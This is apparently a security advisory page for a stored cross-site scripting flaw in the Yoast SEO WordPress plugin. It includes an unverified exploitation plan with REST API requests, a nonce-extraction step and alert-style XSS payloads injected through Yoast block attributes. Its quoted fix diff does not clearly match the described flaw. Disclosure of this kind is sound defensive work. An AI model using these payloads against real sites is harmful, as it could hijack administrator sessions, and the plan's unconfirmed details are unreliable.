CVE-2026-3427

Yoast SEO <= 27.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'jsonText' Block Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
27.2
Patched in
1d
Time to patch

Description

The Yoast SEO – Advanced SEO with real-time guidance and built-in AI plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the the `jsonText` block attribute in all versions up to, and including, 27.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=27.1.1
PublishedMarch 21, 2026
Last updatedMarch 22, 2026
Affected pluginwordpress-seo

What Changed in the Fix

Changes introduced in v27.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3427 (Yoast SEO Stored XSS) ## 1. Vulnerability Summary **CVE-2026-3427** is a stored cross-site scripting (XSS) vulnerability in the **Yoast SEO** plugin (versions <= 27.1.1). The vulnerability exists because the plugin fails to sanitize or escape the `jsonTe…

Show full research plan

Exploitation Research Plan: CVE-2026-3427 (Yoast SEO Stored XSS)

1. Vulnerability Summary

CVE-2026-3427 is a stored cross-site scripting (XSS) vulnerability in the Yoast SEO plugin (versions <= 27.1.1). The vulnerability exists because the plugin fails to sanitize or escape the jsonText attribute within its custom Gutenberg blocks (specifically the FAQ and How-to blocks) before rendering it.

Authenticated users with Contributor-level permissions or higher can inject arbitrary JavaScript into this attribute. Since Contributors can save drafts that are subsequently viewed by Editors or Administrators (e.g., during the review process), this can lead to a full site takeover if an administrative user triggers the payload.

2. Attack Vector Analysis

  • Vulnerable Attribute: jsonText (within block metadata).
  • Vulnerable Blocks: yoast/faq-block and yoast/how-to-block (inferred).
  • Endpoint: WordPress REST API Post update endpoint: POST /wp-json/wp/v2/posts/{id}.
  • Payload Parameter: content (containing Gutenberg block comments).
  • Authentication: Contributor+ (Authenticated).
  • Preconditions: The Yoast SEO plugin must be active, and the attacker must have permission to create or edit posts.

3. Code Flow

  1. Input: A Contributor sends a POST request to the REST API to update a post. The content field contains a Yoast block defined by Gutenberg comments: <!-- wp:yoast/faq-block {"jsonText":"<script>...</script>"} /-->.
  2. Storage: WordPress saves the raw block markup into the post_content column of the wp_posts table.
  3. Processing: When the post is rendered (either on the frontend or in the Block Editor), Yoast SEO's server-side rendering logic or client-side editor logic retrieves the jsonText attribute.
  4. Sink: The plugin outputs the value of jsonText directly into the page without calling escaping functions like esc_attr(), esc_html(), or wp_kses().

4. Nonce Acquisition Strategy

To interact with the REST API as a Contributor, a _wpnonce for the wp_rest action is required.

  1. Login: Authenticate as a Contributor user.
  2. Navigation: Navigate to the "Add New Post" page: /wp-admin/post-new.php.
  3. Extraction: The REST nonce is typically localized in the wpApiSettings JavaScript object.
    • JS Variable: window.wpApiSettings.nonce
  4. Action:
    // Use browser_eval to get the nonce
    const restNonce = await browser_eval("window.wpApiSettings.nonce");
    

5. Exploitation Strategy

The goal is to update a post's content with a malicious Yoast block.

Step 1: Create a Draft Post

Create a post to obtain a valid Post ID.

  • Method: POST
  • URL: /wp-json/wp/v2/posts
  • Headers:
    • X-WP-Nonce: [REST_NONCE]
    • Content-Type: application/json
  • Body: {"title": "XSS Test", "status": "draft"}

Step 2: Inject Payload into the jsonText Attribute

Update the post with the malicious block. We will target the yoast/faq-block.

  • Method: POST
  • URL: /wp-json/wp/v2/posts/[POST_ID]
  • Headers:
    • X-WP-Nonce: [REST_NONCE]
    • Content-Type: application/json
  • Body:
    {
      "content": "<!-- wp:yoast/faq-block {\"jsonText\":\"<img src=x onerror=alert(document.domain)>\"} /-->"
    }
    

Step 3: Trigger Execution

  1. Frontend: Navigate to the post URL (if published) or use the Preview link.
  2. Backend: Navigate to the Post Editor for that ID as an Admin: /wp-admin/post.php?post=[POST_ID]&action=edit.

6. Test Data Setup

  1. Plugin: Install and activate Yoast SEO version 27.1.1.
  2. User: Create a user with the contributor role.
  3. Post: Create at least one draft post as the contributor.

7. Expected Results

  1. The REST API should return a 200 OK or 201 Created status code.
  2. The post_content in the database will contain the literal string: {"jsonText":"<img src=x onerror=alert(document.domain)>"}.
  3. When an Admin edits the post, an alert box showing the domain name will appear, confirming XSS in the editor context.

8. Verification Steps

After performing the HTTP request, verify the storage via WP-CLI:

# Check if the content was saved correctly
wp post get [POST_ID] --field=post_content

# Verify the metadata (if Yoast stores structured data in meta as well)
wp post meta list [POST_ID]

9. Alternative Approaches

If yoast/faq-block does not yield immediate results, attempt the payload with the yoast/how-to-block:

Payload Variation:

<!-- wp:yoast/how-to-block {"jsonText":"<script>alert('HowTo-XSS')</script>"} /-->

Alternative REST Parameters:
Sometimes Gutenberg blocks require attributes to be explicitly set in the block's attributes object if the REST API controller supports it, though standard post content injection is the most common vector for Contributor-level XSS.

Bypass check:
If the script is blocked by a basic filter, try attribute-based injection within the JSON:
"jsonText":"{\"@type\":\"Question\",\"name\":\"<img src=x onerror=alert(1)>\"}"

Research Findings
Static analysis — not yet PoC-verified

Summary

The Yoast SEO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'jsonText' attribute in its custom FAQ and How-to Gutenberg blocks. Authenticated attackers with Contributor-level access or higher can inject malicious JavaScript into this attribute, which then executes in the browser of any user (including administrators) who views or edits the affected post.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wordpress-seo/27.1.1/inc/options/class-wpseo-taxonomy-meta.php /home/deploy/wp-safety.org/data/plugin-versions/wordpress-seo/27.2/inc/options/class-wpseo-taxonomy-meta.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wordpress-seo/27.1.1/inc/options/class-wpseo-taxonomy-meta.php	2026-03-03 13:51:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wordpress-seo/27.2/inc/options/class-wpseo-taxonomy-meta.php	2026-03-05 08:37:56.000000000 +0000
@@ -237,7 +237,9 @@
 				case 'wpseo_keywordsynonyms':
 					if ( isset( $meta_data[ $key ] ) && is_string( $meta_data[ $key ] ) ) {
 						// The data is stringified JSON. Use `json_decode` and `json_encode` around the sanitation.
-						$input         = json_decode( $meta_data[ $key ], true );
+						$input = json_decode( $meta_data[ $key ], true );
+						// If something is wrong with the JSON make sure this cannot break.
+						$input       ??= [];
 						$sanitized     = array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], $input );
 						$clean[ $key ] = WPSEO_Utils::format_json_encode( $sanitized );
 					}

Exploit Outline

The exploit targets the 'jsonText' attribute of Yoast SEO's Gutenberg blocks via the WordPress REST API. An attacker follows these steps: 1. Authenticate as a Contributor. 2. Obtain a valid REST API nonce (usually from window.wpApiSettings.nonce). 3. Send a POST request to /wp-json/wp/v2/posts/ to create or update a post. 4. In the post content, include a Yoast FAQ block comment containing a malicious payload in the 'jsonText' attribute, such as: <!-- wp:yoast/faq-block {"jsonText":"<img src=x onerror=alert(1)>"} /-->. 5. The vulnerability triggers when an editor or administrator opens the post in the Block Editor or views the rendered page, leading to script execution in the context of their session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.